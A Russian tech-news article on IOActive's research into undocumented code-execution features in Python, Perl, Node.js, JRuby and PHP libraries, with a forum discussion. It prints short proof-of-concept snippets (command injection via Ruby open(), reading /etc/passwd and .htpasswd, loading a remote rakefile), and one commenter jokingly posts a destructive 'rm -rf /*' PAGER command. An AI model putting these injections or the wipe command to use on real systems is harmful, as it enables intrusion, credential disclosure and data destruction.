Исследователи из компании IOActive представили на конференции Black Hat Europe доклад (https://www.blackhat.com/docs/eu-17/materials/eu-17-Arnabold...), в котором подвели итоги работы по выявлению недокументированной функциональности в интерпретируемых языках программирования, которая может потенциально стать причиной появления уязвимостей в приложениях. Код разработанного в рамках исследования инструментария ZDiFF (Extended Differential Fuzzing Framework), который применялся для выявления потенциальных уязвимостей, опубликован (https://github.com/IOActive/XDiFF) под лицензией GPLv3.
Примером подобной функциональности, который подтолкнул к проведению исследования, является давно известная особенность (https://sakurity.com/blog/2015/02/28/openuri.html) открытия ссылок через функцию open() в языке Ruby. При передаче URL в качестве аргумента, данная функция позволяет загрузить удалённую страницу, чем пользуются многие разработчики. При этом не все учитывают, что при отсутствии надлежащей проверки (например, при проверке входных значений через "/^https:/"), вместо URL может быть передана конструкция вида "|head /etc/passwd;\nhttps://url.com", которая приведёт к выполнению кода "head /etc/passwd" в системе.
Проведя fuzzing-тестирование стандартных наборов библиотек популярных языков программирования была выявлена серия недокументированных особенностей в Python, Perl, Node.js, JRuby и PHP, которые сами по себе не являются уязвимостями, но могут стать источником их появления в приложениях:
- Недокументированный способ выполнения кода в Python, используя метод pipeto() в библиотеке mimetool, метод pipepager в библиотеке pydoc или манипулируя переменной окружения PAGER при выполнении метода pager в pydoc. Например, для выполнения программы id можно использовать
import mimetools
print(mimetools.pipeto(None,'id'))или
import pydoc
print(pydoc.pipepager(None,'id')или
$ export PAGER="id> bar"
$ python -c "import pydoc;pydoc.pager('foo')"- Локальное выполнение кода в программах на языке Perl, использующих функцию embeddable_typemap() из модуля "ExtUtils::Typemaps::Cmd" для загрузки XS typemap, которая имеет неприятную особенность исполнения аргумента как Perl-кода в случае ошибки. Для выполнения программы id можно использовать код (параметр функции embeddable_typemap будет выполнен через eval и результат показан в составе сообщения об ошибке):
use ExtUtils::Typemaps::Cmd;
print embeddable_typemap("system 'id'");- Утечка данных из файла в составе сообщения об ошибке в Node.JS. При возможности контролировать имена модулей, загружаемых через вызов
require(), в случае попытки загрузки не JavaScript-файла буде сгенерирован SyntaxError, но при использовании JavaScript-движка V8 в составе текста ошибки будет выдано содержимое первой строки файла.
Например, попытка выполнить "console.log(require('.htpasswd'))" приведёт к выводу содержимого первой строки файла ".htpasswd" в тексте ошибки.- Возможность выполнения кода в программах JRuby, использующих класс Rake. Напрмер, для выполнения команды id можно разместить на внешнем сайте файл http://x.x.x.x/canaryfile с содержимым "пустая строка puts %x(id)" и инициировать обработку ссылки http://x.x.x.x/canaryfile в функции load_rakefile:
require "rake";
puts Rake.load_rakefile("http://x.x.x.x/canaryfile");- Выполнение команд в коде на PHP, использующем неопределённые константы, которые интерпретируются как строки. В случае если константы определяются в одном файле, а использующие их вызов в другом, можно напрямую обратиться ко второму файлу и вместо содержимого константы значение будет обработано как строковое имя константы. Например:
echo shell_exec(escapeshellcmd(bash." -c id"));приведёт к выполнению "bash -c id", хотя по задумке разработчиков в константе bash могли передаваться другие данные.
URL: https://www.reddit.com/r/netsec/comments/7igtuv/exposing_hid.../
Новость: http://www.opennet.ru/opennews/art.shtml?num=47714
Все нормальные хостеры давно запретили вызов консольных команд из скрипта РНР...
список этих "нормальных" дятлов озвучьте, плиз. Он не должен быть большим.чтоб не долго гадать, почему восстановление пароля, к примеру, не работает.
>чтоб не долго гадать, почему восстановление пароля, к примеру, не работает.ну и как восстановление пароля связано с запретом на выполнение консольных команд из скрипта?
Я надеялся что "нормальные" шареды уже сдохли в эпоху VPS за 1 евро. Вы меня огорчаете.
"VPS за 1 евро" требует от хостящегося ещё знаний апача, нгинха, линухов, умения обновлять систему, следить за производительностью (ага, шаред можед оказаться лучше впс за 1 евро), обновлять всё это хозяйство, файрволить и т.п.В общем, накладных расходов получается сильно больше 1 евро. Поэтому шареды жили, живут, и жить будут.
Я чего то не пойму и нафига вам пароли от докер контейнеров там же ничего нет внутри ...
Запустите мне на докере на ноде с 8Гб RAM хотя бы 1500 вхостов - приходите.
Это такой толстый тролинг? ну если у вас на тачке живут 1.5к хоумпаг с трафиком 2 поисковых бота и один живой юзер в день, то да шаред хостинг незаменим.
Это где можно взять VPS за 1 евро? Только с FreeBSD, а не OpenVZ. ihor не предлагайте. Там телефон требуют и деньги без скана паспорта не возвращают.
> Все нормальные хостеры давно запретили вызов консольных команд из скрипта РНР...Чем консольный head отличается от head.php?
Вот он — признак профессионализма. А ведь как умело притворялся…
про пхп.
в текущей стабильной версии на неопределенные константы кидает варнинг. https://3v4l.org/LOvdj
В будущих версиях неопределенные константы будут кидать эксепшен http://php.net/manual/ru/migration72.incompatible.php#migrat...
---
да и вообще, несколько притянуто за уши.
Во-первых, удивительно, как кому-то вообще пришло в голову обрабатывать так неопределенные константы; во-вторых, удивительно, сколько времени потребовалось, чтобы осознать ошибку.
wd ~ % perl -le 'print "zzz".aaa."zzz"'
zzzaaazzz
wd ~ % perl -le 'sub aaa(){123};print "zzz".aaa."zzz"'
zzz123zzz
wd ~ % perl -wle 'sub aaa(){123};print "zzz".aaa."zzz"'
zzz123zzz
wd ~ % perl -wle 'print "zzz".aaa."zzz"'
Unquoted string "aaa" may clash with future reserved word at -e line 1.
zzzaaazzzно писать в продакшн без strict моветон...
> но писать в продакшн без strict моветон...и хрен бы с ним, можно и без если например научить себя по дефолту использовать конструкции которые не могуть дать неопределенность
> print "zzz".aaa."zzz"вот от таких конструкции, например, надо уходить в определенность если программа у вас больше размером одного экрана или не одноразовая для личной конкретной задачи "здесь и сейчас". С определенностью будет так:
> print "zzz".aaa()."zzz"
PS: с perl надо понимать что и для чего вы делаете
> и хрен бы с ним, можно и без если например научить себя по дефолтуМожно. Но зачем? И можно просто приучить себя к strict - и проще и правильнее.
> но писать в продакшн без strict моветон...Даже как-то не верится, что читаешь это на опеннете.
И кто этот pipepager юзает? А со своим PAGER так вообще.Тоже мне новость, взяли не самые популярные модули и давай фаззить. Я уж было по заголовку подумал, что беда в самих языках. Тут отметился только open в Ruby и, ожидаемо, нода.
Да как бы нода тоже довольно притянута. Слабо себе представляю ситуацию, когда бы по пользовательскому вводу подгружались модули. + при этом нужно чтобы еще и стектрейс исключения выплевывался пользователю. Так сейчас мало кто делает.
К тому же, в отличии от других проблем, в ноде конкретно эту дыру легко пофиксить, т.к. она не завязана какую-то функциональность, просто не очень аккуратно оформленное сообщение об ошибке. + только первая строчка файла. Вряд ли есть реальные системы, где это можно эксплуатировать.
А где же жаба?
Неуязвима само собой :>
> Неуязвима само собой :>В смысле, https://www.opennet.ru/opennews/art.shtml?num=46167
> 09.03.2017 11:04 Волна взломов сайтов через неисправленную уязвимость в Apache Struts
> Уязвимость позволяет выполнить произвольный код на сервере, отправив запрос со специально оформленным содержимым HTTP-заголовка "Content-Type".
> ...
> В случае, если заголовок Content-Type содержит некорректное значение, срабатывает исключение для отображения сообщения об ошибке, которое, если в тексте присутствует маска "multipart/form-data", также приводит к вызову обработчика Multipart parser и выполнению произвольного кода, передаваемого через выражение OGNL.https://www.opennet.ru/opennews/art.shtml?num=47170
> 10.09.2017 20:02 Уязвимость в Apache Struts стала причиной утечки персональных данных 143 млн американцевбыло давно и поэтому почти неправда?
Статья была про языки, а не про конкретные программы. Или та дыра была из-за какой-то фичи именно Жабы, из-за которой легко допустить ошибку?
>> А где же жаба?Читаем новость:
"недокументированной функциональности в интерпретируемых языках программирования"
"интерпретируемых языках программирования"
"интерпретируемых"
Мистер не знает, что Жаба -- интерпретируемый язык :)У неё есть встроенный JIT компилятор (как и у почти всех остальных интерпретируемых языков). Для фанатов есть внешние AOT компиляторы, но я на практике не видел, чтобы ими особо пользовались.
Читаем primary goals of java:
...
5. It must be "interpreted, threaded, and dynamic".
Гора родила мышь...Table 2: Number of functions tested per category
Category Number of Functions Tested
JavaScript 450
PHP 1405
Ruby 2483
Perl 3105
Python 3814
Вообще интересно как они исследуют/тестируют так как к примеру в perl упомянутый модуль не входит в базовую поставку, соответственно данная проблема будет только у тех кто пользуется этим модулем. Каким образом они вышли на этот модуль? Они весь cpan подвергают фаззингу?
Без упоминания перла любой обзор про скриптовые языки становится кастрированным.
Пришлось натягивать сову на глобус.
...включая довольно популярные модули. И в свежепоставленном perlbrew 5.26.1 (последний) он тоже есть. Не баран чихнул.https://metacpan.org/requires/distribution/ExtUtils-ParseXS?...
Осталось выяснить, кто из них использует именно ExtUtils::Typemaps::Cmd - модуль предназначенный для однострочников.
> Осталось выяснить, кто из них использует именно ExtUtils::Typemaps::Cmd - модуль предназначенный для однострочников.Докладываю:
ExtUtils::Typemaps::Cmd.pm использует никто, поэтому ExtUtils::Typemaps::Cmd::embeddable_typemap еще более никто использует. ExtUtils::Typemaps::Cmd.pm не нужен, но идет поставляется вместе с пакетом ExtUtils::ParseXS. Пакет ExtUtils::ParseXS в CORE был добавлен в perl-5.10.0:
> $ man -P cat perl5100delta | grep ExtUtils
> · "ExtUtils::CBuilder" and "ExtUtils::ParseXS" have been added.
> "ExtUtils::MakeMaker" to build and install perl modules.этим коммитом https://perl5.git.perl.org/perl.git/commit
>MANIFEST diff | blob | blame | history
>dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Cmd.pm [new file with mode: 0644] blob
>dist/ExtUtils-ParseXS/t/515-t-cmd.t [new file with mode: 0644] blob
>dist/ExtUtils-ParseXS/t/lib/ExtUtils/Typemaps/Test.pm [new file with mode: 0644] blob
>dist/ExtUtils-ParseXS/t/lib/TypemapTest/Foo.pm [new file with mode: 0644] blobнеким Steffen Mueller'ом 19 января 2012 года в 19:58:49.
Модуль ExtUtils::ParseXS.pm за исключением модулей из ExtUtils::ParseXS::* используется в:
- утилите xsubpp (из пакета ExtUtils::*)
- модуле ExtUtils::Typemaps.pm (из пакета ExtUtils::*)
> этим коммитом https://perl5.git.perl.org/perl.git/commitхоликрап, вот урл вашей собаке: https://perl5.git.perl.org/perl.git/commitdiff/dbeddf837c500...
> Неявные свойства языков программированияВообще-то не языков, а реализаций
Получите, адепты типа безопасных языков.
мышки и кактусы все в одном месте.
$ export PAGER='rm -rf /'
$ git diff
> $ export PAGER='rm -rf /'
> $ git diffО мамонт, если ты был в заморозке последние 15 лет, то просвещаю: 'rm -rf /' не работает.
Суть уловить не судьба?
Попробуйте так:
export PAGER='rm -rf /* 2>/dev/null'
git diff
#"Удовлетворение 100% гарантируем" ©
Да там сами языки - одна большая уязвимость. Особенно JS и PHP с их безумной типизацией.
Зато вот принято говорить, что низок порог вхождения, ага.
> Зато вот принято говорить, что низок порог вхождения, ага.Это не порог, это плинтус.
... вхождения в ад, вниз, под плинтус.
Компьютеры - одна большая уязвимость.
>> PHP
>> В случае если константы определяются в одном файле, а использующие их вызов в другом, можно напрямую обратиться ко второму файлуВ современных сайтах обращение к конкретным файлам не возможно. Там все запросы идут через Входной Скрипт.
> В современных сайтахКто такие "современные сайты" и где живёт "входной скрипт"? :)
По всей видимости имеется ввиду сайт на современном фреймворке. Где в целях "красивого" роутинга используется единая точка входа всех запросов.
> в целях "красивого" роутингаИ в целях безопасности. Файл Точки Входа может быть в папке htdocs, а остальные скрипты вообще в другой папке недоступной для вебсервера.
И в целях удобства обработки запросов. Когда на сайте сотни страниц (скриптов), то естественно придёшь к идее что нужно всё както упорядочить. И сделать единую точку входа.
Популярными становятся языки, которые пытаются казаться более умными и дружественными программисту: удобно же, когда можно особо передать что угодно в open и оно откроется, а то, что язык в результате становиться менее предсказуемым и более магическим не так важно, ведь чтобы стать популярным, язык должен угождать.
Недоредактировал:
s/особо//
s/становиться/становится/
Использую перл последние 18 лет, о существовании модуля `ExtUtils::Typemaps::Cmd` узнал только что из этой статьи.
Используешь перл - имеется в виду используешь софт, который использует перл?
ну тогда и я знаю си с самого 1995 года (а учиться программированию начал в 2007)
> Используешь перл - имеется в виду используешь софт
> а учиться программированию началмог бы и не начинать
>является давно известная особенность открытия ссылок через функцию open()zero-cost abstractions такие zero-cost
тогда уж вот так
puts Rake.load_rakefile(my_var);
И да, мы тут всей конторой грузим исполняемые файлы из переменных, при этом специально не проверяем их ))